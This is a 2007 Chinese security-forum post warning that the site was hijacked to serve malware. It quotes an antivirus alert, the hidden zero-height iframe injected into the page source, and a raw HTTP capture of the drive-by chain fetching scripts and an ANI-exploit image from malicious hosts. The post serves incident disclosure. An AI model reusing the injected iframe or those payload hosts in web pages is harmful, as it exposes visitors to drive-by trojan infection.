现在是11:30 2007-6-20，没事来看雪看看，一上，杀毒软件报警。
時間        模件        物件        名稱        病毒        動作        使用者名稱        資訊
2007-6-20 11:27:09        IMON        檔案        69cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3W2X3y4e0k6Q4x3X3g2U0L8W2)9J5c8X3q4V1i4K6u0W2K9Y4m8Y4i4K6t1$3L8X3u0K6M7q4)9K6b7R3`.`.       a variant of Win32/TrojanDownloader.Ani.Gen trojan                hklzt       

查看源代码，发现：
<iframe src=6d4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5I4x3e0q4Q4x3X3f1^5y4o6f1^5y4o6g2Q4x3X3g2U0L8W2)9J5c8Y4S2A6i4K6u0W2K9s2c8E0i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5y4X3&6T1M7%4m8Q4x3@1u0%4K9h3c8@1K9q4)9K6c8o6l9`. height=0></iframe>
被挂马了！
里面使用了ad.jpg此图片，该图片是以前的ANI漏洞。
各位注意了！
请管理员迅速做好处理工作！！对此人表示BS！
下面是一些信息。

+++GET 2364+++
GET /xi.htm HTTP/1.0
Accept: */*
Accept-Language: zh-cn
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Host: 1111.845845.cn
Connection: keep-alive

+++RESP 2364+++
HTTP/1.1 200 OK
Content-Length: 494
Content-Type: text/html
+++关闭 2364+++

+++GET 2365+++
GET /0002.js HTTP/1.0
Accept: */*
Referer: 673K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5I4x3e0q4Q4x3X3f1^5y4o6f1^5y4o6g2Q4x3X3g2U0L8W2)9J5c8Y4S2A6i4K6u0W2K9s2c8E0
Accept-Language: zh-cn
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Host: 1234.89111.cn
Connection: keep-alive

+++GET 2366+++
GET /ad.jpg HTTP/1.0
Accept: */*
Referer: 372K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5I4x3e0q4Q4x3X3f1^5y4o6f1^5y4o6g2Q4x3X3g2U0L8W2)9J5c8Y4S2A6i4K6u0W2K9s2c8E0
Accept-Language: zh-cn
UA-CPU: x86
Range: bytes=2470-
Unless-Modified-Since: Sat, 16 Jun 2007 18:35:28 GMT
If-Range: "x"
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Host: 33fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3W2X3y4e0k6Q4x3X3g2U0L8R3`.`.
Connection: keep-alive

+++GET 2367+++
GET /favicon.ico HTTP/1.0
Accept: */*
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Host: 1111.845845.cn
Connection: keep-alive

+++RESP 2366+++
HTTP/1.1 200 OK
Content-Length: 3759
Content-Type: image/jpeg
Last-Modified: Sat, 16 Jun 2007 18:35:28 GMT
Accept-Ranges: bytes
ETag: "0d8741c45b0c71:361"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Wed, 20 Jun 2007 03:27:10 GMT

+++RESP 2367+++
HTTP/1.1 404 Not Found
Content-Length: 1308
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Wed, 20 Jun 2007 03:27:10 GMT
+++关闭 2367+++
+++关闭 2365+++

+++GET 2368+++
GET /t1.aspx?id=37219617 HTTP/1.0
Accept: */*
Referer: 35dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5I4x3e0q4Q4x3X3f1^5y4o6f1^5y4o6g2Q4x3X3g2U0L8W2)9J5c8Y4S2A6i4K6u0W2K9s2c8E0
Accept-Language: zh-cn
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Host: ww3.tongji123.com
Connection: keep-alive

+++GET 2369+++
GET /lo/2.htm HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: 763K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5I4x3e0q4Q4x3X3f1^5y4o6f1^5y4o6g2Q4x3X3g2U0L8W2)9J5c8Y4S2A6i4K6u0W2K9s2c8E0
Accept-Language: zh-cn
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Host: af9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3W2X3y4e0k6Q4x3X3g2U0L8R3`.`.
Connection: keep-alive

+++RESP 2369+++
HTTP/1.1 200 OK
Content-Length: 410
Content-Type: text/html
+++关闭 2369+++

+++GET 2370+++
GET /lo/haha.js HTTP/1.0
Accept: */*
Referer: 779K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3W2X3y4e0k6Q4x3X3g2U0L8W2)9J5c8X3I4G2i4K6u0r3x3W2)9J5k6h3S2@1L8b7`.`.
Accept-Language: zh-cn
UA-CPU: x86
If-Modified-Since: Sun, 10 Jun 2007 05:44:16 GMT
If-None-Match: "e66016222abc71:382"
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Host: c05K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3W2X3y4e0k6Q4x3X3g2U0L8R3`.`.
Connection: keep-alive

+++RESP 2370+++
HTTP/1.1 304 Not Modified
Date: Wed, 20 Jun 2007 03:27:12 GMT

Etag: "e66016222abc71:382"
+++关闭 2370+++

+++GET 2371+++
GET /favicon.ico HTTP/1.0
Accept: */*
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Host: 1111.845845.cn
Connection: keep-alive

+++RESP 2371+++
HTTP/1.1 404 Not Found
Content-Length: 1308
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Wed, 20 Jun 2007 03:27:12 GMT
+++关闭 2371+++

+++RESP 2368+++
HTTP/1.1 200 OK
Content-Type: text/html; charset=gb2312
Content-Length: 683
+++关闭 2368+++

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课